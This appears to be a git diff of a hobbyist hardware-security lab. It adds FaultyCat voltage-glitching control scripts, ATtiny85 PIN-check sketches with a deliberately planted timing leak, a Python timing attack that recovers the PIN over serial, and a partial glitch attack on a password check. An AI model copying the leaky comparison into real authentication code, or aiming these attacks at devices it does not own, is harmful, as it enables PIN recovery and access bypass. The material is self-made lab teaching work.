+    def __str__(self):
+        return f"Serial port: {self.serial_worker.port}"
+
+    def set_serial_port(self, serial_port: str):
+        self.serial_worker.port = serial_port
+    
+    def set_serial_baudrate(self, serial_baudrate: int):
+        self.serial_worker.baudrate = serial_baudrate
+
+    def is_valid_connection(self) -> bool:
+        try:
+            self.open()
+            self.close()
+            return True
+        except serial.SerialException as e:
+            return False
+
+    def get_serial_ports(self):
+        return serial.tools.list_ports.comports()
+
+    def reset_buffer(self):
+        self.serial_worker.reset_input_buffer()
+        self.serial_worker.reset_output_buffer()
+
+    def cancel_recv(self):
+        self.recv_cancel = True
+
+    def open(self):
+        self.serial_worker.open()
+        self.reset_buffer()
+    
+    def close(self):
+        self.reset_buffer()
+        self.serial_worker.close()
+
+    def is_connected(self):
+        return self.serial_worker.is_open
+
+    def send(self, data):
+        self.serial_worker.write(data)
+        self.serial_worker.write(b"\n\r")
+        self.serial_worker.flush()
+    
+    def recv(self):
+        if not self.is_connected():
+            self.open()
+        try:
+            while not self.recv_cancel:
+                time.sleep(0.1)
+                
+                bytestream = self.serial_worker.readline()
+                if self.recv_cancel:
+                    self.recv_cancel = False
+                    return None
+                return bytestream
+        except serial.SerialException as e:
+            print(e)
+            return None
+        except KeyboardInterrupt:
+            self.recv_cancel = True
+            return None
+    
+    def send_recv(self, data):
+        self.send(data)
+        return self.recv()
+
+    def stop_worker(self):
+        self.recv_cancel = True
+        self.reset_buffer()
+        self.close()
+        self.join()
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
new file mode 100644
index 0000000..0bb2e54
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py
@@ -0,0 +1,68 @@
+import threading
+import time
+import typer
+from rich.console import Console
+from rich.table import Table    
+
+from .UART import UART
+from .ConfigBoard import ConfigBoard
+
+class FaultyWorker(threading.Thread):
+    def __init__(self):
+        super().__init__()
+        #self.daemon = True
+        self.workers = []
+        self.board_uart = UART()
+        self.board_configurator = ConfigBoard()
+        self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"]   
+        self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"]
+    
+    def add_worker(self, worker):
+        self.workers.append(worker)
+    
+    def stop_workers(self):
+        for worker in self.workers:
+            worker.join()
+    
+    def run_workers(self):
+        for worker in self.workers:
+            worker.start()
+    
+    def set_serial_port(self, serial_port):
+        self.board_uart.set_serial_port(serial_port)
+    
+    def validate_serial_connection(self):
+        return self.board_uart.is_valid_connection()
+    
+    def set_pulse_count(self, pulse_count):
+        self.pulse_count = pulse_count
+        self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count
+    
+    def set_pulse_time(self, pulse_time):
+        self.pulse_time = pulse_time
+        self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time
+    
+    def start_faulty_attack(self):
+        try:
+            self.board_uart.open()
+            time.sleep(0.1)
+            typer.secho("Board connected.", fg=typer.colors.GREEN)
+            typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            time.sleep(1)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8"))
+            
+            typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN)
+            time.sleep(1)
+            typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN)
+            for i in range(self.pulse_count):
+                typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN)
+                self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8"))
+                time.sleep(self.pulse_time)
+            
+            typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW)
+            self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+            self.board_uart.close()
+            typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW)
+        except Exception as e:
+            typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED)
\ No newline at end of file
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
new file mode 100644
index 0000000..f503922
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
new file mode 100644
index 0000000..b36d3c6
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
new file mode 100644
index 0000000..34c38f2
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
new file mode 100644
index 0000000..a34e25d
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
new file mode 100644
index 0000000..127e108
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc
Binary files differ
diff --git a/FaultInjection/prereqs/FaultyCat/faultycmd.py b/FaultInjection/prereqs/FaultyCat/faultycmd.py
new file mode 100644
index 0000000..3831eec
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/faultycmd.py
@@ -0,0 +1,133 @@
+import typer
+import platform
+import signal
+import threading
+import sys
+from rich.console import Console
+from rich.table import Table
+
+from Modules import CmdInterface
+from Modules.CmdInterface import is_valid_number
+from Modules import Worker
+
+if platform.system() == "Windows":
+    DEFAULT_COMPORT = "COM1"
+else:
+    DEFAULT_COMPORT = "/dev/ttyACM0"
+
+
+app = typer.Typer(
+    name="FaultyCat",
+    help="Script to control the FaultyCat and launch faulty attacks.",
+    add_completion=False,
+    no_args_is_help=True,
+)
+
+faulty_worker = Worker.FaultyWorker()
+workers = []
+
+
+def signal_handler(sig, frame):
+    print("You pressed Ctrl+C!")
+    faulty_worker.stop_workers()
+    for work in workers:
+        work.join()
+    sys.exit(0)
+
+
+@app.command("config")
+def config():
+    """Get the current configuration of the FaultyCat."""
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+
+    Console().print(table_config)
+
+
+@app.command("devices")
+def devices():
+    """Get the list of available devices."""
+    table_devices = Table(title="Available devices")
+    table_devices.add_column("Device", style="cyan")
+    table_devices.add_column("Description", style="magenta")
+    for device in faulty_worker.board_uart.get_serial_ports():
+        table_devices.add_row(f"{device.device}", f"{device.description}")
+
+    Console().print(table_devices)
+
+
+@app.command("fault")
+def faulty(
+    comport: str = typer.Argument(
+        default=DEFAULT_COMPORT,
+        help="Serial port to use for uploading.",
+    ),
+    pulse_count: int = typer.Option(
+        1, "--pulse-count", "-p", help="Number of pulses to send.", show_default=True
+    ),
+    pulse_timeout: float = typer.Option(
+        1.0,
+        "--pulse-timeout",
+        "-t",
+        help="Time in seconds between pulses.",
+        show_default=True,
+    ),
+    cmd: bool = typer.Option(
+        False, "--cmd", "-c", help="Launch the CMD Interface.", show_default=True
+    ),
+):
+    """Setting up the FaultyCat. With this command you can configure the FaultyCat and launch faulty attacks."""
+    typer.echo("Configuring the FaultyCat...")
+    table_config = Table(title="Board configuration")
+    table_config.add_column("Parameter", style="cyan")
+    table_config.add_column("Value", style="magenta")
+    table_config.add_row("Serial port", f"{comport}")
+    table_config.add_row(
+        "Pulse time", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}"
+    )
+    table_config.add_row(
+        "Pulse power", f"{faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}"
+    )
+    table_config.add_row("Pulse count", f"{pulse_count}")
+    table_config.add_row("Pulse timeout", f"{pulse_timeout}")
+
+    Console().print(table_config)
+
+    faulty_worker.set_serial_port(comport)
+    
+    if cmd:
+        CmdInterface.CMDInterface(faulty_worker).cmdloop()
+        return
+
+    if not faulty_worker.validate_serial_connection():
+        typer.secho(
+            f"FaultyCMD could not stablish connection withe the board on: {comport}.",
+            fg=typer.colors.RED,
+        )
+        return
+
+    faulty_worker.set_pulse_count(is_valid_number(pulse_count))
+    faulty_worker.set_pulse_time(is_valid_number(pulse_timeout))
+
+    faulty_worker.start_faulty_attack()
+
+
+if __name__ == "__main__":
+    print(
+        """\x1b[36;1m
+.@@@%@*%+ -@@+  #@@:  @@% =@@@@%- %@% %+            @=           | 
+.@@-.-.#@+=@@*  %@@- .@@@.@@%:@@@ @@@ %+     :+++-  @*+++-       | FaultyCat v0.0.1
+.@*.=.+@@:=@@*  %@@- .@@@.@@% @@@ @@@ %+    #%:.:## @%:.:##      | by JahazielLem
+.@@%*+*=. :@@%==@@@#-*@@#.@@% @@@-@@@ %+    @+   =@.@+   =@.     | Company: PWNLabs - Electronics Cats
+%@%       :#@@@%*#@@@%+  %@* :#@@@#: =%#**=.*####@..*####:       |                                                    
+\x1b[0m"""
+    )
+    signal.signal(signal.SIGINT, signal_handler)
+    app()
diff --git a/FaultInjection/prereqs/FaultyCat/requirements.txt b/FaultInjection/prereqs/FaultyCat/requirements.txt
new file mode 100644
index 0000000..5ffdc64
--- /dev/null
+++ b/FaultInjection/prereqs/FaultyCat/requirements.txt
@@ -0,0 +1,9 @@
+click==8.1.7
+colorama
+markdown-it-py
+mdurl
+Pygments==2.17.2
+pyserial
+rich==13.7.0
+typer==0.9.0
+typing_extensions
diff --git a/README.md b/README.md
deleted file mode 100644
index 5ca94a8..0000000
--- a/README.md
+++ /dev/null
@@ -1,4 +0,0 @@
-Hardware
-===============
-
-A place for me to store my hardware experiments and scripts and useful tidbits
\ No newline at end of file
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit.ino b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
new file mode 100644
index 0000000..53839d4
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit.ino
@@ -0,0 +1,103 @@
+#include <avr/sleep.h>
+#include <avr/interrupt.h>
+#include <SoftwareSerial.h>
+ 
+const int rx = 1;  // for serial input
+const int tx = 4;   // pin 5 for serial.print()
+SoftwareSerial Serial(rx, tx);  // rx, tx pins
+
+int rgLed = 2;  // red/green LED pin
+int button = 3; // buttons pin
+int buttonValue; // Stores analog value when button is pressed
+
+String ourCode = "1324";      // Set the required PIN code.
+String currentCode = "";      // Stores entered code
+
+void setup() {
+  pinMode(rgLed, INPUT);
+  pinMode(rx, INPUT); // setup and print to serial
+  pinMode(tx, OUTPUT);
+  Serial.begin(9600);
+  Serial.println("Running");
+
+  red(500);
+  green(500);
+}
+
+#pragma GCC push_options
+#pragma GCC optimize ("O0")  // Disable optimisations
+
+void addkey(String keyPressed) {
+  currentCode += keyPressed;
+  Serial.println("Entered so far: " + currentCode);
+  
+  if (currentCode.length() == ourCode.length()) {
+    Serial.print("Checking: ");
+    volatile bool correct = true;
+        
+    for (int i = 0; i < ourCode.length(); i++) {
+      if (currentCode[i] != ourCode[i]) {
+        correct = false;
+        break;
+      }
+      
+      do_login();
+    }
+    
+    if (correct) {
+      Serial.println("correct");
+      green(500);
+      delay(500);
+      green(500);
+      delay(500);
+      green(500);
+    } else {
+      Serial.println("failed");
+      red(500);
+    }
+    currentCode = ""; // Reset the entered code
+  }
+}
+
+#pragma GCC pop_options
+
+void green(int del) { // turn on green LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, HIGH);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void red(int del) { // turn on red LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, 255);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void do_login(){
+  delay(5);
+}
+
+void loop() {
+  buttonValue = analogRead(button); // Read analog value from A0 pin
+  
+  if (buttonValue >= 1015 && buttonValue <= 1030) { // For 1st button:
+    addkey("1");
+  } else if (buttonValue >= 1000 && buttonValue <= 1014) { // For 2nd button:
+    addkey("2");
+  } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button:
+    addkey("3");
+  } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button:
+    addkey("4");
+  }
+  
+  if (Serial.available()) { // Check if data is available from Serial input
+    char key = Serial.read(); // Read the character
+    if (key >= '1' && key <= '4') { // Ensure input is a valid key
+      addkey(String(key));
+    }
+  }
+  
+  delay(100);
+}
diff --git a/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
new file mode 100644
index 0000000..e01eeb2
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/4_digit_attack.py
@@ -0,0 +1,115 @@
+import serial
+import time
+
+# Constants
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+PREFIX = ""
+ATTEMPTS = 3
+DELAY = 0.8
+KEYSPACE = ["1", "2", "3", "4"]
+LENGTH = 4
+
+def get_response_time(serial_port, message):
+    """
+    Function to send message, wait for response, and measure response time.
+    """
+    # Flush the input buffer to clear any leftover data
+    serial_port.flushInput()
+
+    first_line_received = False
+
+    # Send each character in the message with a delay
+    for i, char in enumerate(message):
+        time.sleep(DELAY)  # Delay before sending the character
+        serial_port.write(char.encode())  # Send one character at a time
+        #print(f"sending: {char}")
+        if i < len(message)-1:
+            #print(f"reading")
+            raw_response = serial_port.readline()
+
+    # After sending all characters, we will read until we get the first line (complete response)
+    raw_response = b''  # Initialize the response variable
+
+    while True:
+        byte = serial_port.read(1)  # Read one byte at a time
+        if byte:
+            if byte == b'\n' and not first_line_received:
+                first_line_received = True  # The first line has been received
+                # Do not start timing yet; we need to wait for the next line after the first one
+            elif first_line_received:
+                # Start measuring response time after the first line is fully received
+                start_time = time.time()
+                break  # We begin timing here, immediately after the first line has been read
+
+    final_response = serial_port.readline().decode(errors='ignore').strip()
+    # Now read the rest of the response and stop when the second newline is encountered
+    #final_response = raw_response.decode(errors='ignore').strip()  # Decode the response
+
+    # Measure the time taken for the second line (after the first)
+    response_time = time.time() - start_time
+
+    # Debug message to show what was sent, received, and the response time
+    print(f"\rSent: {message}, Response: {final_response}, Response Time: {response_time:.4f} seconds", end='', flush=True)
+
+    time.sleep(DELAY)
+    return final_response, response_time
+
+def calculate_average_response_time(serial_port, message):
+    """
+    Calculate average response time over multiple attempts.
+    """
+    total_time = 0
+    response_times = []
+
+    # Try multiple attempts to get the average response time
+    for _ in range(ATTEMPTS):
+        response, response_time = get_response_time(serial_port, message)
+        total_time += response_time
+        response_times.append(response_time)
+    
+    average_time = total_time / ATTEMPTS
+    print(f"\r{message} average: {average_time:.4f} seconds                                         ", flush=True)
+    return average_time, response_times
+
+def identify_sequence(serial_port):
+    """
+    Identify the complete sequence of characters by sending test sequences.
+    """
+    prefix = ""
+
+    # Loop over all positions in the sequence (length 4 in this case)
+    for pos in range(LENGTH):
+        slowest_avg = float('-inf')  # Initialize with the smallest possible number to track the largest value
+        best_digit = None
+
+        # Try each character in the keyspace for this position
+        for key in KEYSPACE:
+            # Build message for this position
+            message = prefix + key + key * (LENGTH - len(prefix) - 1)
+            print(f"Testing: {message}", end='', flush=True)
+
+            # Get the average response time for this message
+            avg_time, _ = calculate_average_response_time(serial_port, message)
+
+            # Track the slowest (highest average response time)
+            if avg_time > slowest_avg:  # Modify comparison to choose the longest time
+                slowest_avg = avg_time
+                best_digit = key
+
+        # Append the best digit found to the prefix
+        prefix += best_digit
+        print(f"Best digit for position {pos + 1}: {best_digit} (Average response time: {slowest_avg:.4f} seconds)")
+
+    return prefix
+
+def main():
+    # Open the serial port
+    with serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) as serial_port:
+        print(f"Starting sequence identification on port {SERIAL_PORT}...")
+        sequence = identify_sequence(serial_port)
+        print(f"Identified sequence: {sequence}")
+
+if __name__ == '__main__':
+    main()
+
diff --git a/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg
new file mode 100644
index 0000000..7db7b86
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/breadboard_setup.jpg
Binary files differ
diff --git a/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino
new file mode 100644
index 0000000..9c3d205
--- /dev/null
+++ b/SideChannel/ATtiny85_Timing_Attack/multi_digit.ino
@@ -0,0 +1,125 @@
+#include <avr/sleep.h>
+#include <avr/interrupt.h>
+#include <SoftwareSerial.h>
+ 
+const int rx = 1;  // for serial input
+const int tx = 4;   // pin 5 for serial.print()
+SoftwareSerial Serial(rx, tx);  // rx, tx pins
+
+int rgLed = 2;  // red/green LED pin
+int button = 3; // buttons pin
+int buttonValue; // Stores analog value when button is pressed
+
+String ourCode = "";      // Set the required PIN code.
+String currentCode = "";      // Stores entered code
+
+void generateRandomPin() {
+
+  ourCode = ""; // ensure is empty
+  
+  // Use multiple entropy sources for the random seed
+  int pinSeed = analogRead(0) + analogRead(1);  // Read from pin 0 and pin 1 for more randomness
+  unsigned long combinedSeed = pinSeed  + random(100, 200);  // Combine them all
+  randomSeed(combinedSeed);  // Seed the random number generator with the combined value
+  
+  int pinLength = random(4, 9); // Random length between 4 and 8
+  for (int i = 0; i < pinLength; i++) {
+    ourCode += String(random(1, 5)); // Random number between 1 and 4 (inclusive)
+  }
+  Serial.println("Generated PIN: " + ourCode); // Display the generated PIN for debugging
+}
+
+void setup() {
+  pinMode(rgLed, INPUT);
+  pinMode(rx, INPUT); // setup and print to serial
+  pinMode(tx, OUTPUT);
+  Serial.begin(9600);
+  Serial.println("Running");
+  delay(500);
+  generateRandomPin();
+  red(500);
+  green(500);
+}
+
+#pragma GCC push_options
+#pragma GCC optimize ("O0")  // Disable optimisations
+
+void addkey(String keyPressed) {
+  currentCode += keyPressed;
+  Serial.print("Added: ");
+  Serial.println(currentCode);
+  
+  if (currentCode.length() == ourCode.length()) {
+    Serial.print("Checking: ");
+    volatile bool correct = true;
+        
+    for (int i = 0; i < ourCode.length(); i++) {
+      if (currentCode[i] != ourCode[i]) {
+        correct = false;
+        break;
+      }
+      
+      do_login();
+    }
+    
+    if (correct) {
+      Serial.println("correct");
+      green(500);
+      delay(500);
+      green(500);
+      delay(500);
+      green(500);
+    } else {
+      Serial.println("failed");
+      red(500);
+    }
+    currentCode = ""; // Reset the entered code
+  }
+}
+
+#pragma GCC pop_options
+
+void green(int del) { // turn on green LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, HIGH);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void red(int del) { // turn on red LED for delay()
+  pinMode(rgLed, OUTPUT);
+  analogWrite(rgLed, 255);
+  delay(del);
+  pinMode(rgLed, INPUT);
+}
+
+void do_login(){
+  delay(10);
+}
+
+void loop() {
+  buttonValue = analogRead(button); // Read analog value from A0 pin
+  if (buttonValue > 100){
+    Serial.println("Button analog value: " + String(buttonValue)); // Print button value
+  }
+  
+  if (buttonValue >= 1011 && buttonValue <= 1030) { // For 1st button:
+    addkey("1");
+  } else if (buttonValue >= 1000 && buttonValue <= 1010) { // For 2nd button:
+    addkey("2");
+  } else if (buttonValue >= 950 && buttonValue <= 999) { // For 3rd button:
+    addkey("3");
+  } else if (buttonValue >= 870 && buttonValue <= 950) { // For 4th button:
+    addkey("4");
+  }
+  
+  if (Serial.available()) { // Check if data is available from Serial input
+    delay(10); 
+    char key = Serial.read(); // Read the character
+    if (key >= '1' && key <= '4') { // Ensure input is a valid key
+      addkey(String(key));
+    }
+  }
+  
+  delay(100);
+}

diff --git a/FaultInjection/README.md b/FaultInjection/README.md
new file mode 100644
index 0000000..3c9e6b2
--- /dev/null
+++ b/FaultInjection/README.md
@@ -0,0 +1,4 @@
+Fault Injection
+===============
+
+Dump of useful fault injection / glitching scripts and examples
\ No newline at end of file
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
new file mode 100644
index 0000000..41bfaca
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
new file mode 100644
index 0000000..abd3514
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino
@@ -0,0 +1,16 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup(){
+  Serial.begin(9600);
+  Serial.println("Initializing...");
+}
+
+void loop() {
+  // put your main code here, to run repeatedly:
+  Serial.println("running");
+  delay(1000);
+}
diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
new file mode 100644
index 0000000..8ae9bee
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino
@@ -0,0 +1,37 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  delay(2000);  // Delay to give time for the setup message
+}
+
+void loop() {
+  static int dotCount = 0;  // Keeps track of how many dots are printed
+  
+  // Create the base "running" message followed by spaces to clear previous dots
+  Serial.print("running");
+  
+  // Add the appropriate number of dots
+  for (int i = 0; i < dotCount; i++) {
+    Serial.print(".");
+  }
+  
+  // Clear any extra dots from previous loops by adding spaces
+  for (int i = dotCount; i < 3; i++) {
+    Serial.print(" ");
+  }
+  
+  // Use carriage return to overwrite the line on the next iteration
+  Serial.print("\r");
+
+  // Update the dot count, cycling from 0 to 3
+  dotCount = (dotCount + 1) % 4;  // Cycles through 0, 1, 2, 3 dots
+  
+  delay(1000);  // 1-second delay before updating
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
new file mode 100644
index 0000000..e9ffa78
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino
@@ -0,0 +1,62 @@
+#include <SoftwareSerial.h>
+
+#define RX    3   // *** D3, Pin 2
+#define TX    4   // *** D4, Pin 3
+SoftwareSerial Serial(RX, TX);
+
+void setup() {
+  Serial.begin(9600);
+  Serial.println(" ");
+  Serial.println("Initializing...");
+  randomSeed(analogRead(0));  // Seed the random number generator for more randomness
+  delay(2000);  // Delay for initialization
+}
+
+void loop() {
+  // Generate one random number and assign it to both variables
+  volatile int originalNumber = random(10, 100);  
+  volatile int num1 = originalNumber;
+  volatile int num2 = originalNumber;
+
+  // Perform reversible operations to increase glitch susceptibility but keep values comparable
+  num1 = num1 ^ 0x55;  // XOR num1 with 0x55
+  num2 = num2 ^ 0x55;  // XOR num2 with 0x55
+  
+  delayMicroseconds(5);  // Critical timing for glitches
+
+  num1 = num1 ^ 0x55;  // XOR again to reverse
+  num2 = num2 ^ 0x55;  // XOR again to reverse
+
+  delayMicroseconds(5);  // Another critical timing for glitches
+
+  // Extract the first and second digits
+  volatile int num1FirstDigit = num1 / 10;   // Get the first digit of num1
+  volatile int num1SecondDigit = num1 % 10;  // Get the second digit of num1
+
+  delayMicroseconds(5);  // More chances for glitches
+  
+  volatile int num2FirstDigit = num2 / 10;   // Get the first digit of num2
+  volatile int num2SecondDigit = num2 % 10;  // Get the second digit of num2
+
+  delayMicroseconds(5);  // Increased vulnerability
+
+  // Check if the numbers still match after the potential glitch
+  int match = 0;
+  if (num1FirstDigit == num2FirstDigit) {
+    if (num1SecondDigit == num2SecondDigit) {
+       match = 1;
+    }
+  }
+  
+  if (match == 1) {
+    Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r");
+  } else {
+    Serial.print("Glitch detected! Numbers do not match: ");
+    Serial.print(num1); Serial.print(" "); Serial.print(num2);
+    Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") ");
+    Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")");
+    Serial.println(" ");
+  }
+  
+  delay(100);  // Shorter delay to increase glitch detection chances
+}
diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
new file mode 100644
index 0000000..184f47e
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png
Binary files differ
diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
new file mode 100644
index 0000000..5855b9c
--- /dev/null
+++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py
@@ -0,0 +1,200 @@
+import sys
+import time
+import pexpect  # Required to handle screen sessions
+import threading
+from Modules import Worker
+
+DEFAULT_COMPORT = "/dev/ttyACM0"
+SCREEN_NAME = "ttyUSB0_screen"  # Replace this with the actual screen session name
+
+# Initialize the FaultyWorker
+faulty_worker = Worker.FaultyWorker()
+# Shared variable to store the response from the device
+device_response = None
+child = None  # Global child variable
+
+def initialize_child():
+    """Initialize the global child process for the screen session."""
+    global child
+    child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8')
+    child.expect(pexpect.TIMEOUT, timeout=1)  # Clear out any pre-existing buffer
+
+def send_test_message_and_read_response():
+    """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'."""
+    global child
+
+    # Send 'ping' to the screen session
+    child.sendline("ping")
+    sys.stdout.write("\rSent 'ping' to screen session.")
+    sys.stdout.flush()
+
+    # Wait a bit to ensure the command is processed
+    time.sleep(0.5)  
+
+    # Try reading any new output from the screen session
+    try:
+        response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+        if "pong" in response:
+            sys.stdout.write("\rReceived 'pong' response.")
+            return True
+        else:
+            sys.stdout.write(f"\rReceived unexpected response: {response}")
+        sys.stdout.flush()
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+
+    return False
+
+def read_screen_output():
+    """Read output from the screen session in a separate thread."""
+    global device_response
+    buffer = ""  # Initialize a buffer to store incoming characters
+
+    try:
+        while True:
+            response = child.read_nonblocking(size=1024, timeout=2)  # Read up to 1024 bytes of new data
+            buffer += response  # Append the new response to the buffer
+            
+            # Check if there's a complete line in the buffer
+            while "\n" in buffer:
+                line, buffer = buffer.split("\n", 1)  # Split the buffer at the first newline
+                line = line.strip()  # Remove any leading/trailing whitespace
+
+                # Check for specific responses
+                if "incorrect!" in line:
+                    #sys.stdout.write("\rReceived 'incorrect' response.")
+                    device_response = 'incorrect'
+                    return  # Exit the loop on incorrect response
+                elif "correct" in line:
+                    # Die here: Echo message, disarm device, and kill the program
+                    sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n")
+                    sys.stdout.flush()
+
+                    # Disarm the board
+                    faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8"))
+                    faulty_worker.board_uart.close()
+
+                    # Exit the program
+                    sys.exit(0)
+
+                else:
+                    sys.stdout.write(f"\rReceived unexpected response: {line}")
+                    sys.stdout.flush()
+
+    except pexpect.exceptions.TIMEOUT:
+        sys.stdout.write("\rNo response received from the screen session (timeout).")
+        sys.stdout.flush()
+    except Exception as e:
+        sys.stdout.write(f"\rError reading from screen session: {e}")
+        sys.stdout.flush()
+
+def send_pulse_and_check_response():
+    """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel."""
+    global device_response
+    try:
+        # Wait a bit to ensure the command is processed
+          
+
+        # Send 'incorrectPassword' command to the screen session
+        sys.stdout.write("\rSending 'incorrectPassword' to screen session.")
+        sys.stdout.flush()
+        child.sendline("incorrectPassword")
+        
+        time.sleep(0.35)
+
+        # Send 'pulse' command (simulating the pulse trigger)
